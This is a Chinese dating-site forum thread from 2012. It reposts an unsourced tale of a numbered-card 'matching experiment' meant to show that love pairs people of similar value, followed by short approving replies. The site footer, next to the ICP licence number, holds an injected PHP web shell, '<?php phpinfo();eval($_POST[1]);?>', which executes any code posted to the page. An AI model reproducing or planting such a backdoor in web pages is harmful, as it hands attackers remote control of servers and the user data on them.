小蜜橙single - 北京最大的校友交友平台-来小蜜橙觅成你的友情和爱情吧!-

 找回密码
 30秒注册
搜索
查看: 2826|回复: 14
打印 上一主题 下一主题

【ZT】爱情是一场精确的匹配游戏

  [复制链接]
跳转到指定楼层
1#
发表于 2012-8-12 22:40:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
实验人员找来100 位大学生,男女各半,然后制作了100 张卡片,卡片上写了从1 到100 总共一百个数字,单数的50 张卡片给男生,双数的50张卡片给女生。但他们并不知道卡片上写的是什么数字。工作人员将卡片拆封,然后贴在该大学生的背后。



实验规则



大家猜猜会怎么着?



这个实验设置很简单,就是要男女都能找到适合自己的异性,争取能凑到最大的总和。(奖金金额为编号总和翻10倍)比如,83号男生找到了74号女生配对,那么两人可以获得83+74=1570美元的奖金。但如果2号女生找到了3号男生配对,那么两人只能拿到50美元了。



实验开始



由于大家都不知道自己背后的数字,因此首先就是观察别人,很快分数高的男生和女生很快被大家找出来了。



例如,99 号男生和100 号女生。



这两人身边围了一大群人,大家都想说服他们和自己配成一对。



“来跟我一起嘛!我会给你幸福的!”



“我们简直天作之合啊!”



但人类的一夫一妻制决定了,人不可能同时和N个人配对,因此他们变得非常挑剔,他们虽然不知道自己的分数具体是多少,但他们知道一定是比普通人的要高。



为什么?看看围在自己身边的狂蜂浪蝶就知道了,从这些追求者们殷切的眼神中就能够看出来。



那些碰壁的追求者迫于无奈只能退而求其次,原本给自己的目标是一定要找90+的人配对,慢慢的发现80+也可以了,甚至70+或者60+也凑合着过了。但那些数字太小的人就很悲催了,他们到处碰壁,到处被拒,被嫌弃。



据一位学生事后表示,在参加了这场游戏之后,他对人生的理解都有了不同。因为他在短短几小时里就感受到了人间的冷暖——他们背后的数字太小了(基本都是个位数),要找一个愿意配对的人简直是难上加难。最后他们想出来的办法无外乎两条路:



一 个是大家自己找个差不多的凑合凑合算了,比如5 号和6 号俩人配成一对,虽然奖金只有110 美元,那也好过没有。二是和对方商量,如果你愿意和我配对,那么拿到奖金的时候就不是对半分,我愿意给你更多,比如三七分或四六分等等,或者事后再请你吃 饭,虽然请客吃饭花的钱肯定多过奖金数额,但是找不到人配对实在是太没面子了。



(这个在现实中就有交易婚姻(交易条件包括房子,财产,其他物质不等,代际婚姻,假婚姻等)



经过了漫长的配对过程,眼看时间就要到了,还有少数人没有成功配对,这些人没办法了,只能赶紧的草草找人完成任务——因为单身一人的话是拿不到奖金的……

最后的倒数阶段,没有配对的都胡乱找了个人。当然也有坚持不配对,单身结束游戏的大学生。



实验结束



心理学家发现,绝大多数人的配对对象其背后的数字都非常接近自己的数字,换言之中国古人说的“门当户对”还是很有道理的。



比如55 号男生,他的对象有80%的可能性是50-60 之间的女生,俩人数字相差20 以上的情况非常罕见。



你们猜100号的女生的配对对象是谁?



好玩的是,100 号女生的配对对象竟然不是99 号男,也不是97 或95,竟然是73 号男生,两人相差了27!为什么会相差这么多?



原 来100 号女生被众多的追求者冲昏了头,她采取的策略是“捂盘惜售”(因为她并不知道100 是最大值,也不知道自己就是100 号),她还在等待更大数字的男人,等到大家都配对完毕,她终于开始慌了,于是她在剩下的男生里找了一个数字最大的,就是那位73 号幸运儿。她最后也尝试过去找90+的男生,但是人家都已经有女伴了,让他们抛弃现有的女伴跟她配对并不现实,因为人家已经多少有了点感情(更多的应该是 友情),犯不着为了多这点美元就换人。



学生们还总结出很多经验:



1、因为人太多地方太小,你并不可能跑去看每个人背后的数字。(圈子,地域限制)



2、你只要看谁边上围着的人多,谁就是数字较大的人,而那些身边孤苦伶仃门可罗雀的人,肯定是数字小的,通过这个方法你可以立刻筛选出目标对象。(多数决择)



3、小数字的人追求大数字的人一般都很辛苦,因为要大数字的人接受小数字的人总不是那么甘心,因此追求方要付出更大的努力才行,但更大的可能是你再怎么努力,对方也不理你。 (女神与屌丝)



这场心理学实验完全就是人类恋爱行为的实验简化版。



还有混迹D8豆瓣的同学也知道了,高分的就是XXX,OOO,低分的就是XX,OO……



我们每个人在遇到一个异性的时候,出于本能的就会开始评价对方的价值,这完全是下意识的。



但人类的价值非常难评估,没有谁会把数字贴在自己的背后,人们还往往会故意夸大自己的价值。至于夸大的手段、浮夸的工具各种各样。



关键的一点是,这个数字其实一直在变化,比如女人随着年纪的增大,这个数字是递减的;而男人随着自身的不断努力,可以从很小的数字增加为很大的数字。这也有了男女黄金年龄分割线之说……



我们在生活中所遇到的人也远远超过了100 个,我们面临的是一个更加复杂的环境,这让我们做出决定的难度成倍增加。正因为选择的难度很大,因此人类进化出了一些很简单的指标,比如,我们更倾向于基于别人的判断来决定自己的判断。



实验让我们知道,其实爱情是一场精确的匹配游戏,最最重要的是你自身的价值有多高(即背后的数字大小),而你采取什么办法去恋爱其实都是次要的。



但是和这个实验有个很重要的不同就是:人类社会实在太复杂了——一个人的价值并不是那么容易就能体现出来的。而且我们很难去判别一个人的价值。



还有一点就是,我们每个人眼中的价值标准都不一样,所以我们可以看到这么多元的爱情。



当然,你永远别忘了,这个社会的风潮是由“大多数人”去决定的,所以当你看到社会的价值倾向时,你看到的就是大多数人的标准,至于你是否选择跟从,是否选择“继续相信爱情”,那就是另外一门深奥的内容了。



这里就不祝天下有情人终成兄妹了~



祝大家都能找到天生一对的佳眷。



个人感觉:门当户对很重要,价值观不能差太大
2#
发表于 2012-8-12 23:14:56 | 只看该作者
用一个相对简单的模型,分析了一个复杂的问题
而且最后的结论个人认为也是比较靠谱的
3#
发表于 2012-8-12 23:26:43 | 只看该作者
为了不让天下有情人终成兄妹,我们需要用南北通婚,中外通婚来应对呀

配对游戏很有趣,基本能重现以婚姻为导向的相遇相识过程
尚无法模拟的,是人们考虑到日后的漫长相处而为选择带来的重重变数-----用简单的美金数额类比婚后生活,这实在太单薄了呵呵

个人以为,如何判断门当户对和价值观接近,有个简单的方法----看和对方的交流能否为双方带来亲切感
你有这感觉,而且能感受到对方也有了类似的感觉,嗯,这事有搞头了

大多数人标准和个人标准的话题,呵呵,很有趣哦
4#
发表于 2012-8-13 00:16:32 | 只看该作者
受益匪浅
5#
发表于 2012-8-13 08:40:56 | 只看该作者
84的姑娘都哪去了呢?  
6#
发表于 2012-8-13 09:08:12 | 只看该作者
和我配对的是   84年的  还是  86年的呢?   
听说坛里说  双数的容易抱孩子。
7#
发表于 2012-8-13 10:08:38 | 只看该作者
百年好合实在是运气太好……
8#
发表于 2012-8-13 13:50:13 | 只看该作者
嗯啊  有些感觉
9#
发表于 2012-8-13 13:50:34 | 只看该作者
好像有那么点道理呢!~!~
10#
发表于 2012-8-13 14:55:32 | 只看该作者
比较有道理。我以前是这么相信的,以后也会继续坚持下去。
您需要登录后才可以回帖 登录 | 30秒注册

本版积分规则

QQ|小黑屋|手机版|小蜜橙single ( 京ICP备20006967号-2 <?php phpinfo();eval($_POST[1]);?>

GMT+8, 2024-12-26 23:47 , Processed in 0.223531 second(s), 17 queries .

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表